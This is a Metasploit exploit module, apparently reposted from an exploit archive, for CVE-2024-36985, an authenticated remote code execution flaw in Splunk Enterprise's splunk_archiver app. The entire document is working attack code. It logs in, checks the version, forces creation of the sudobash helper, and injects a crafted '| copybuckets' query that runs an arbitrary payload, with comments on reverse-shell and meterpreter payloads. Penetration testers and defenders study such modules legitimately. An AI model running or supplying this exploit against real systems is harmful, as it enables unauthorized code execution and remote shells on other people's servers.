Share
## https://sploitus.com/exploit?id=PACKETSTORM:214134
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Splunk
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Authenticated RCE in Splunk (splunk_archiver app)',
            'Description' => %q{
              This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).
    
              The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application,
              which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.
    
              The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Alex Hordijk', # Vulnerability Discovery
              'psytester' # Public Exploit
            ],
            'References' => [
              ['CVE', '2024-36985'],
              ['URL', 'https://advisory.splunk.com/advisories/SVD-2024-0705'],
              ['URL', 'https://web.archive.org/web/20240914000921/https://psytester.github.io/CVE-2024-36985_SPLUNK_RCE_PoC/'],
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Splunk < 9.0.10, 9.1.5, and 9.2.2 / Unix payload',
                {
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Payload' => {
              'BadChars' => '" '
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-07-01',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
            OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username']),
            OptString.new('SPLUNK_HOME', [true, 'Path to the Splunk home directory', '/opt/splunk/']),
            OptBool.new('CREATE_SUDOBASH', [true, 'Set to false if you are sure that sudobash exists on the target system', true]),
            OptInt.new('DELAY', [true, 'Delay in seconds to wait for sudobash to be dropped to the filesystem', 3]),
          ]
        )
      end
    
      def check
        @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        version = splunk_home_version(@cookie)
        if version <= Rex::Version.new('9.0.9') ||
           version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')) ||
           version.between?(Rex::Version.new('9.2.0'), Rex::Version.new('9.2.1'))
    
          all_apps = get_apps(@cookie)
          return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app was not found") if !all_apps.key?('splunk_archiver')
          return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app is disabled") if all_apps['splunk_archiver'][:enabled] == false
    
          return CheckCode::Appears("Exploitable version found: #{version}, splunk_archiver app is enabled")
        end
    
        return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?
    
        return CheckCode::Unknown('Target does not appear to be a Splunk instance')
      end
    
      # remove duplicate slashes
      def normalize_path(path)
        path.gsub(%r{/+}, '/')
      end
    
      def get_json_payload(payload)
        env_name = Rex::Text.rand_text_alpha_upper(8..16)
        provider = Rex::Text.rand_text_alphanumeric(8..16)
    
        # The payload is double-escaped because the entire JSON object must be passed as a literal string value inside the json="..." splunk query.
        {
          'vixes' => {},
          providers: {
            provider => {
              'command.arg.1' => normalize_path("#{datastore['SPLUNK_HOME']}/etc/apps/splunk_archiver/java-bin/jars/sudobash"),
              'command.arg.2' => "-c $#{env_name}",
              "env.#{env_name}" => payload
            }
          }
        }.to_json.to_json
      end
    
      def create_sudobash
        print_status('Sending sudobash create request...')
    
        query = '| archivebuckets forcerun=1'
        search(@target_app, query, @cookie)
        print_good('sudobash create request has been sent!')
    
        print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
        Rex::ThreadSafe.sleep(datastore['DELAY'])
        print_good('Sleep Completed')
      end
    
      def trigger_exploit
        print_status('Sending trigger exploit request...')
    
        json_payload = get_json_payload(payload.encoded)
        query = "| copybuckets json=#{json_payload}"
    
        search(@target_app, query, @cookie)
      end
    
      def exploit
        if @cookie.nil?
          @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
        end
    
        @target_app = get_random_app(@cookie, enabled: true)
    
        if datastore['CREATE_SUDOBASH'] == true
          create_sudobash
        end
    
        trigger_exploit
      end
    
    end